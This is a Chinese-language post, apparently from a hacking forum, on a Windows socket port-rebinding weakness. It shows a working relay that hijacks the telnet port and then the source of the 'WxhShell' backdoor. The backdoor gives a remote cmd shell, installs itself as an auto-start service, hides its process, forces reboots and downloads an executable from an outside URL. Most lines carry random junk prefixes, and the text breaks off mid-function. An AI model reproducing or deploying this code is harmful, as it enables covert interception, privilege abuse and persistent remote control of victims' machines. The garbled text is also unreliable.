在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Vb${Oy+ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
pEUbP,3M: Sq9I]A saddr.sin_family = AF_INET;
\/ rK0|2A Gp=X1 F saddr.sin_addr.s_addr = htonl(INADDR_ANY);
B;SN}I ;B%NFvG bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
DP2 ^(d< m$T?~oo 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
zdDn.
vG aq~g54 这意味着什么?意味着可以进行如下的攻击:
'r KDw06/ g.AMCM?z 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
)@-v6;7b0 RX-qL,dc 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
UQGOCP_ "][MCVYP 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
UjmBLXz@T y`"~zq0D 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
~7Ji+AJA :D-xa!7 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
T*,kBJ */=5m] 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
a );> f/spJ<B).4 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
[Z2:3*5r. /*5t@_0fe #include
zCrDbGvqF` #include
@@L@r6 #include
ahagt9[,:F #include
(!h%)
_?.l DWORD WINAPI ClientThread(LPVOID lpParam);
sOc<'):TK int main()
wJ_E\v P {
{}Y QB'} WORD wVersionRequested;
SHw%u~[hu DWORD ret;
sb
3l4(8g
WSADATA wsaData;
hg}Rh BOOL val;
:e-&,K SOCKADDR_IN saddr;
l26DPtWi SOCKADDR_IN scaddr;
jM%qv int err;
"j+zd&*={ SOCKET s;
lO482l_t SOCKET sc;
,vBi)H int caddsize;
SK2nxZOH HANDLE mt;
fH_G;#q DWORD tid;
xPa>-N=* wVersionRequested = MAKEWORD( 2, 2 );
JpVV0x/Q/_ err = WSAStartup( wVersionRequested, &wsaData );
2ql7*g?Uq@ if ( err != 0 ) {
+PC<# printf("error!WSAStartup failed!\n");
f
=H,BQ return -1;
4:$?u}9[:[ }
:3qA7D } saddr.sin_family = AF_INET;
%|(~k*s4 $y!k)"k //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
NB]T~_?]* 7g(,$5 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
;6N@raP7 saddr.sin_port = htons(23);
6d~[M y if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
\tc`Aj%K {
&FrW(>2 printf("error!socket failed!\n");
;IhkGPpWP return -1;
8Z;wF }
*G"vV>OSV val = TRUE;
0{ovLzW //SO_REUSEADDR选项就是可以实现端口重绑定的
{7^7)^@ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
yteJHaq {
rvT75dV0 printf("error!setsockopt failed!\n");
w$J0/eX{A return -1;
8fpaY{] }
Xrnxpp!#^D //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
27b7~! //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
S5:`fo^5 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
{e,m<mAi >SJ#
rZ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
&(!Sy?tNe {
x{u7# s1|/ ret=GetLastError();
}{*((@GY} printf("error!bind failed!\n");
Wx}+Vq<q return -1;
Lu&2^USTO }
&wj;: f listen(s,2);
,RFcR[ak while(1)
lhm=(7Y {
wAE,mw caddsize = sizeof(scaddr);
m
ys5B} //接受连接请求
tN|sHgs sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Y$3H$F.+ if(sc!=INVALID_SOCKET)
mq$mB1$3u {
EZkg0FhkZ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
q|J3]F !n if(mt==NULL)
x;NCW {
KK-9[S- printf("Thread Creat Failed!\n");
/kGRN@ break;
pyK|zvr-r }
ua(y! Im }
jRXpEiM CloseHandle(mt);
J&~nD(&TY }
eWO^n>Y closesocket(s);
[T', ZLR| WSACleanup();
_%Ay\4H^\ return 0;
kvh}{@|- }
\(_FGa4j DWORD WINAPI ClientThread(LPVOID lpParam)
<Vp7G%"'W {
jqHg'Fq SOCKET ss = (SOCKET)lpParam;
gO-C[j/ SOCKET sc;
't=\YFQ*v unsigned char buf[4096];
hvu>P { SOCKADDR_IN saddr;
70 !& long num;
gkUG*Zw DWORD val;
}9fH`C/m DWORD ret;
T{M~*5$ //如果是隐藏端口应用的话,可以在此处加一些判断
DB'pRo+U //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
G.K3'^_ saddr.sin_family = AF_INET;
<Gzy*1Q& saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
m`UNdFS saddr.sin_port = htons(23);
@L|X('i if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
k))*Sg {
'j=7'aX>K printf("error!socket failed!\n");
juuBLv return -1;
JDVMq=ui }
R}4o{l6 val = 100;
pYV$sDlD if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
q4vu r>m6 {
KU[eY} ret = GetLastError();
6~\z]LZ return -1;
UM%[UyYQ }
cOra`7L` if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
a#W:SgE?Y {
G~T]m . ret = GetLastError();
p~M1}mE return -1;
^GdU$%aa }
}NPF]P; if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
y'4H8M2? {
Iw~3y{\ printf("error!socket connect failed!\n");
]H7_bix closesocket(sc);
8Dpf{9Y-E closesocket(ss);
cA ;'~[ return -1;
W?{:HV }
pRmnS;*z& while(1)
Lys4l$J] {
=flgKRKk.r //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
y|b|_eE?{ //如果是嗅探内容的话,可以再此处进行内容分析和记录
B+|E|8" //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
s)<#a(! num = recv(ss,buf,4096,0);
1QM*oj: if(num>0)
J=>?D@K send(sc,buf,num,0);
J=67As else if(num==0)
/B"h#v-o break;
94r8DkI num = recv(sc,buf,4096,0);
.EVy?-
if(num>0)
f&t]O$ send(ss,buf,num,0);
,-A8;DW]^J else if(num==0)
phSF.WC break;
-i|qk`Y }
>%+"-bY closesocket(ss);
%[ 4/UD=7 closesocket(sc);
|E!()j= return 0 ;
Ojp)OeF\ }
DR/qe0D u3kK!2cdP G5Y5_r6Gu ==========================================================
o7VNw8Bp Ea1{9>S 下边附上一个代码,,WXhSHELL
"+s#!Fh * LU4\&fd ==========================================================
X"b4U\A *Id$%O #include "stdafx.h"
wo7.y["$ ~6@zXHAS #include <stdio.h>
zvL&V
.> #include <string.h>
~\/>b}^uf' #include <windows.h>
0CI?[R\ #include <winsock2.h>
}gyJaMA #include <winsvc.h>
VB*N;bM^ #include <urlmon.h>
(6z^m?t? exV6&bdu #pragma comment (lib, "Ws2_32.lib")
wXDF7tJh #pragma comment (lib, "urlmon.lib")
'P}"ZHW +V1EqC* #define MAX_USER 100 // 最大客户端连接数
W^0F(9~!( #define BUF_SOCK 200 // sock buffer
m_~
p G #define KEY_BUFF 255 // 输入 buffer
qAm$yfYs` l?(nkg["nY #define REBOOT 0 // 重启
W5(t+$L. #define SHUTDOWN 1 // 关机
y4)M,+O5 X`]-)(UX #define DEF_PORT 5000 // 监听端口
,T"pUe VJ +GI[
Kq #define REG_LEN 16 // 注册表键长度
pOD| #define SVC_LEN 80 // NT服务名长度
nWN~G V4qHaG // 从dll定义API
b$[_(QUw typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
(.P;VH9R\ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
y&9S+ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
_)2.#L typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
zc]F MLY19 ;e // wxhshell配置信息
>1a-}>r struct WSCFG {
hxx,E>k int ws_port; // 监听端口
_`/0/69 char ws_passstr[REG_LEN]; // 口令
wQ!~c2a<8 int ws_autoins; // 安装标记, 1=yes 0=no
#`:s:bwM: char ws_regname[REG_LEN]; // 注册表键名
2ko7t9y& char ws_svcname[REG_LEN]; // 服务名
tu77Sb char ws_svcdisp[SVC_LEN]; // 服务显示名
+-'qI_xo char ws_svcdesc[SVC_LEN]; // 服务描述信息
E xKH%I char ws_passmsg[SVC_LEN]; // 密码输入提示信息
rfYu8- int ws_downexe; // 下载执行标记, 1=yes 0=no
c }ivYH?`w char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
MjE.pb char ws_filenam[SVC_LEN]; // 下载后保存的文件名
EG&^;uU ^j'; 4' };
l7aGo1TcIh 66D<Up'K // default Wxhshell configuration
wc)[r~On(5 struct WSCFG wscfg={DEF_PORT,
*x`z5_yfO "xuhuanlingzhe",
FFbMG:>: 1,
4DEsB)%X "Wxhshell",
cGkl=-oQ' "Wxhshell",
R%aH{UhE` "WxhShell Service",
J><O
51 "Wrsky Windows CmdShell Service",
L;nRI. "Please Input Your Password: ",
52m^jT Sx 1,
0NfO|l7P "
http://www.wrsky.com/wxhshell.exe",
)]J I Q"rR "Wxhshell.exe"
5h1!E };
C-qsyJgZy >tr?5iKxc // 消息定义模块
kR^7Z7+#* char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Y@KZ:0< char *msg_ws_prompt="\n\r? for help\n\r#>";
nX5*pTfjL3 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
&Xe r#6~ char *msg_ws_ext="\n\rExit.";
tA#X@HIE char *msg_ws_end="\n\rQuit.";
(&PamsV*8 char *msg_ws_boot="\n\rReboot...";
'nP'MA9b;a char *msg_ws_poff="\n\rShutdown...";
PZNo.0M70 char *msg_ws_down="\n\rSave to ";
vbqI$F[s w?C_LP char *msg_ws_err="\n\rErr!";
E2(;R!ML# char *msg_ws_ok="\n\rOK!";
cLr? B;FS <Ml,H%F char ExeFile[MAX_PATH];
@EfCNOy int nUser = 0;
#H
O\I7m HANDLE handles[MAX_USER];
*Vfas|3hZI int OsIsNt;
z$ysp! KyXgw SERVICE_STATUS serviceStatus;
:m8ED[9b SERVICE_STATUS_HANDLE hServiceStatusHandle;
||`w MWq ><LIOFqsS // 函数声明
|GK [I int Install(void);
^eM=h int Uninstall(void);
rctn0*MP int DownloadFile(char *sURL, SOCKET wsh);
lx$Y-Tb^F int Boot(int flag);
\^Y#"zXo1 void HideProc(void);
XYod>[.x int GetOsVer(void);
l]WV?^* int Wxhshell(SOCKET wsl);
hNDhee`%6 void TalkWithClient(void *cs);
(N;Jw^C@ int CmdShell(SOCKET sock);
mI9h| n int StartFromService(void);
cD0 int StartWxhshell(LPSTR lpCmdLine);
F1M@$S, "oz@w'rG VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
7;CeQx/W)W VOID WINAPI NTServiceHandler( DWORD fdwControl );
sB0+21'R cnLC> _hY // 数据结构和表定义
=#BeAsFfO SERVICE_TABLE_ENTRY DispatchTable[] =
~e{2Y% {
*!Am6\+ {wscfg.ws_svcname, NTServiceMain},
<$?:| {NULL, NULL}
-mY90]g };
{!N4| rA`zuYo // 自我安装
LvWU
%? int Install(void)
>=U$s@ {
QMtt:f]?i char svExeFile[MAX_PATH];
W**=X\"' HKEY key;
<ya'L& strcpy(svExeFile,ExeFile);
/@3+zpaw X v[Q)cqj/ // 如果是win9x系统,修改注册表设为自启动
(R6ZoBZ if(!OsIsNt) {
E*(Q'p9C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
GGJ_,S* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
K"}Dbr RegCloseKey(key);
Y\+^\`Tqu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
_
<>+Dk& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
cYbO)?mC_ RegCloseKey(key);
+D
h=D* return 0;
2CmeO&(Qf* }
<ht>> }
Phb<##OB }
#jZ:Ex else {
~B=\![ DVB:8"Bu // 如果是NT以上系统,安装为系统服务
(S2<6Nm8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
dH`a|SVW9 if (schSCManager!=0)
>,] #~d {
dtg Ja_ SC_HANDLE schService = CreateService
>p<(CVX[ (
SN]/~>/ schSCManager,
@W.`'b- wscfg.ws_svcname,
:+R5"my wscfg.ws_svcdisp,
M
j5C0P( SERVICE_ALL_ACCESS,
ZzKn,+ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
il#rdJ1@t SERVICE_AUTO_START,
e<p$Op SERVICE_ERROR_NORMAL,
?0?' svExeFile,
2f:'~ P56 NULL,
ItRGq NULL,
'R'>`?Nh NULL,
4U6{E# NULL,
RtIc:ym NULL
9723f1&Vd );
/ZzlC#` if (schService!=0)
%kc g#p+tE {
3R{-\ZMd CloseServiceHandle(schService);
;zCHEz CloseServiceHandle(schSCManager);
qnA:[H;F strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
#-@{ rgH strcat(svExeFile,wscfg.ws_svcname);
JfVayI= if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
.1pEq~> RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
yr=r?h} RegCloseKey(key);
$<aBawLZO return 0;
"|Pl(HX }
/C(L(X }
YLCwo]\+> CloseServiceHandle(schSCManager);
a 6 ]!4 }
NNfCJ| }
nuC K7X
;=7z!:) return 1;
~'U;).C }
)T4L^^` `773& \PK // 自我卸载
Qb|dp~K.M int Uninstall(void)
h)<R#xw {
)ld7^G HKEY key;
%/^d]# iM956 3v if(!OsIsNt) {
V\G>e{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
A]J^{h0k RegDeleteValue(key,wscfg.ws_regname);
=CVw0'yZ RegCloseKey(key);
ko:I.6- K if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
va<+)b\ RegDeleteValue(key,wscfg.ws_regname);
\
bhok RegCloseKey(key);
QB.7n&u return 0;
]u,~/Gy }
k N^)6 }
B.WJ6.DkS }
u qyf3bK else {
ryT8*}o [a`i{(! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
5{5ABV if (schSCManager!=0)
OM.^>= {
M ?3N SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
w %zw+E if (schService!=0)
6,7omYof {
Ya_6Zd4O if(DeleteService(schService)!=0) {
roA1=G\Q CloseServiceHandle(schService);
.( J/*H CloseServiceHandle(schSCManager);
4tC_W!?$t return 0;
g}D$`Nx: }
N<{`n; CloseServiceHandle(schService);
BmM,vllO }
nZT@d;]U9 CloseServiceHandle(schSCManager);
IN"vi|1 }
#.><A8J }
D=\|teA& w*
I+~o- return 1;
4W?<hv+k7* }
j{^(TE }-vBRY // 从指定url下载文件
Z])_E6. int DownloadFile(char *sURL, SOCKET wsh)
:9#`|#uh {
ZFON]$Zk HRESULT hr;
vh HMxOZ; char seps[]= "/";
gctaarB& char *token;
y#0w\/< char *file;
6+5Catsn char myURL[MAX_PATH];
-b$OHFL char myFILE[MAX_PATH];
=l(JJ rTm{-b)r strcpy(myURL,sURL);
Wy4^mOv token=strtok(myURL,seps);
r83~o/T@ while(token!=NULL)
NM@An2 {
eqR#` file=token;
uI2'jEjO token=strtok(NULL,seps);
f*],j }
(HI%C@e9 gp HwiFc GetCurrentDirectory(MAX_PATH,myFILE);
9qDGxW
'1 strcat(myFILE, "\\");
Dkb&/k:) strcat(myFILE, file);
bw\=F_>L send(wsh,myFILE,strlen(myFILE),0);
RV`j>1 send(wsh,"...",3,0);
=M5M; hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
P1wRt5 if(hr==S_OK)
H1nQ.P]_ return 0;
vR$5ItnT else
&w0=/G/T=~ return 1;
ak>NKK8P 1 =<|h }
b..$5 Z-|C{1}A // 系统电源模块
\DqxS=o; int Boot(int flag)
qfu2}qUX~% {
p]&Q`oh HANDLE hToken;
CK(ev*@\D, TOKEN_PRIVILEGES tkp;
?6d4T V+24- QWh if(OsIsNt) {
QNXxpoS# OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
8~E)gV+v LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
;#9|l= tkp.PrivilegeCount = 1;
MPbPq3an tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
(OB8vTRXP AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
<&:&qngg if(flag==REBOOT) {
8>q%1]X if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
P@YL.'KU) return 0;
+
nS/jW }
v{ n}%akc else {
=-LX)|x} if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
?MM3LA! < return 0;
df*#?Ok }
.4> s2 }
&.hRVW( else {
v4_OUA>z, if(flag==REBOOT) {
h)8+4?-4I if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
AJfi,rFPg return 0;
`uVW<z{l }
;6nZ else {
cl{W]4*$ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
k_<{j0z. return 0;
X3{1DY3@u }
i8_x1=A }
U!:!]DX( oxQID return 1;
%:KV2GP }
vQmackY !`[I>:Ex // win9x进程隐藏模块
DXW?;|8)O void HideProc(void)
8$ZSF92C {
1lyOp I<./(X[H:# HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
^r*%BUU9]% if ( hKernel != NULL )
w"agn}CK {
/ 7X dV pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
~e77w\Q0 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
5`'=Ko,N FreeLibrary(hKernel);
z-G7Y# }
t!~YO'<dS ^>8]3@ Nh return;
&17,]# 3 }
t"/"Ge#a WG/J4H`Od // 获取操作系统版本
iWM7,=1+ int GetOsVer(void)
c4>sE[] {
.xkV#ol OSVERSIONINFO winfo;
KHecc/,,S winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
8@yc}~8 * GetVersionEx(&winfo);
yF5 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
ht3T{4qCS return 1;
B9IXa; else
(GEi<\16[ return 0;
(1AA;)`Kp }
hLbT\J`I zc/%1 // 客户端句柄模块
>Ug?O~- int Wxhshell(SOCKET wsl)
w<~<(5mM5; {
}SMJD SOCKET wsh;
MIlCUk struct sockaddr_in client;
XDdcq ]*| DWORD myID;
&lPBqw Kwl qi]~ while(nUser<MAX_USER)
e*2&s5 #RT {
(Ef2
w[' int nSize=sizeof(client);
B_"OA3d_ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
w}W@M,.^ if(wsh==INVALID_SOCKET) return 1;
&O6;nJEI m/hi~.D9 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
YNC0Z'c9 if(handles[nUser]==0)
?FV7|)f closesocket(wsh);
dD^_^'i else
j&[.2PW\ nUser++;
O/Mz?$8J }
J4[x,(iq( WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
/ }XsuH 1%hM8:)i_ return 0;
r($_>TS&" }
foz5D9sQ kyx SIQ^ // 关闭 socket
9VUm=Z#` void CloseIt(SOCKET wsh)
n`m_S {
F7Dc!JNa closesocket(wsh);
-S,ir nUser--;
827)n[#%| ExitThread(0);
=EcIXDzC> }
p_5>?[TW: 1x\VdT // 客户端请求句柄
\_gp50(3 void TalkWithClient(void *cs)
]~\SR0 {
lv00sa2z F8S~wW=\w SOCKET wsh=(SOCKET)cs;
,dZ#,< char pwd[SVC_LEN];
+(<n |~ char cmd[KEY_BUFF];
<RoX| zJw char chr[1];
20/P M9 int i,j;
i|c`M/) h: ST:
v3* while (nUser < MAX_USER) {
JMirz~%ib pY)j0tdd if(wscfg.ws_passstr) {
jA-5X?!In if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
RD6h=n4B //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
g<2lPH
//ZeroMemory(pwd,KEY_BUFF);
r%y;8$/- i=0;
mo|PrLV while(i<SVC_LEN) {
#FqFH>-*2 4>$
;gH // 设置超时
^p"4)6p-W fd_set FdRead;
h\=p=M struct timeval TimeOut;
h/1nm U] FD_ZERO(&FdRead);
hsHVX[<5` FD_SET(wsh,&FdRead);
D%jD8 p TimeOut.tv_sec=8;
hi {2h04 TimeOut.tv_usec=0;
foFg((tS int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
\3Q:K| if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
+EST58 ol?z<53X] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
{+C %D' pwd
=chr[0]; =j|v0&
AGC
if(chr[0]==0xd || chr[0]==0xa) { t,=@hs
hN
pwd=0; r,u<y_YW
break; 28T\@zi
} 2vqmsl?
i++; %A)-m 69
} oh7#cFZZ0
{t844La"
// 如果是非法用户,关闭 socket bmj8WZ
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aCU7w5
} r/CEYEJ&X
4V u'r?
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3x"@**(Q
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bK03S Vx
kyW6S+ #-
while(1) { 1u"R=D9p,=
c&7Do}
ZeroMemory(cmd,KEY_BUFF); %rpR-}j
]]p19 [4s
// 自动支持客户端 telnet标准 ]z-']R;
j=0; l zfD)TWb
while(j<KEY_BUFF) { ' "ZRD_"
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )l+XD I
cmd[j]=chr[0]; #&^ZQs<
if(chr[0]==0xa || chr[0]==0xd) { ?ID* /u|X
cmd[j]=0; N?qIpv/a.
break; .sd B3x
} nB cp7e
j++; ";wyNpb(
} 2
) TG
$ZQlIJZ
// 下载文件 6QN1+MwB
if(strstr(cmd,"http://")) { 8- dRdQu]
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4R&*&GZ#
if(DownloadFile(cmd,wsh)) l `fW{lh
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8 A2if9E3
else w1wXTt
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KY4d+~2
} _MM
else { `4VO&lRm
OJMvn'y
switch(cmd[0]) { R&6n?g6@/V
N4I^.k<-A
// 帮助 <A#5v\{.;~
case '?': { >Hdjsu5{N
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vP3K7En
break; uz*d^gr}
} E4Y"X
// 安装 wXc,F D$
case 'i': { ~?FK ; (
if(Install()) )-0[ra]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); eQ$N:]
else :fxWz%t
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mWNR( ()v
break; S3R|8?|
} 0Vf)Rw1%I
// 卸载 >j&1?M2C
case 'r': { R<Z^L~)
if(Uninstall()) $Llta,ULE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .D+RLO z
else F|ETug
n
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3H1Pp*PH
break; .|T2\M
} ? ouV
// 显示 wxhshell 所在路径 'eqiYY|
case 'p': { CXBzX:T?#
char svExeFile[MAX_PATH]; fucUwf\_
strcpy(svExeFile,"\n\r"); {UP'tXah
strcat(svExeFile,ExeFile); j._G7z/LJ
send(wsh,svExeFile,strlen(svExeFile),0); ;5<P|:^
break; 0r1g$mKb
} Xa4GqV9M/-
// 重启 FI\IY
R
case 'b': { '4$lL6ly>
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gzor%)C
if(Boot(REBOOT)) ppEJs
send(wsh,msg_ws_err,strlen(msg_ws_err),0); S,lxM,DL&
else { doLkrEm&
closesocket(wsh); Ymq3ty]Pe
ExitThread(0); dY1J<L}")
} [u[ U_g*
break; Z,3 CC \
} <lFdexH"T
// 关机 ]x2Jpk99a
case 'd': { ~NxEc8Y
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !&W|myN^
if(Boot(SHUTDOWN)) ~
9=27p
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Q",9(D
else { h9)RJSF4
closesocket(wsh); F@9Y\. ,
ExitThread(0); )B81i!
q
} d5Qd'
break; ` "B^{o
} Y =9j2 ]t
// 获取shell CQ<8P86gt
case 's': { ai4PM
b$p
CmdShell(wsh); 7UnzIe
closesocket(wsh); /M:H9Z8!
ExitThread(0); PQ,+hq
break; )i @1XH"D
} &RWM<6JP
// 退出 KCD5*xH
case 'x': { Fqo&3+J4
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J2'K?|,m
CloseIt(wsh); QskUdzQ=
break; NS Np
} > =Jsv
// 离开 prUHjS
case 'q': { 85}
ii{S
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Bq *[c=(2
closesocket(wsh); q8/ihA6:
WSACleanup(); ms7SoYbSu
exit(1); IQIbz{bMx
break; R3?:\d{
} )i0 $j)R
} U,HIB^=
R
} lj*8mS/;h
X($6IL6m
// 提示信息 $~=2{
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]/_G-2.R
} ~6kJ~R4
} M\dO({o
_#FIay\ahB
return; 847 R
} {|XQO'Wg
a!D*)z Y
// shell模块句柄 GQ<Ds{exs>
int CmdShell(SOCKET sock) Y#`Lcg+r,
{ awFhz 6
STARTUPINFO si; 9k}<F z"^.
ZeroMemory(&si,sizeof(si)); dgslUg9z3g
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l
DnMjK\M
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z:|9N/>T
PROCESS_INFORMATION ProcessInfo; v
J-LPTB
char cmdline[]="cmd"; S*g`d;8gV
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UQ~4c,
return 0; AFm,CINa
} x{Sd
P$
}%x}fu#
// 自身启动模式 gD6tHg>_
int StartFromService(void) H<Hrwy~
{ ;R!*I%
typedef struct Ft)
lp>3gv
{ 5z~\5x
DWORD ExitStatus; \yG`Sfu2
DWORD PebBaseAddress; 4>YU8/Rw
DWORD AffinityMask; ]~8v^A7u
DWORD BasePriority; U*qNix
ULONG UniqueProcessId; sMm/4AY]
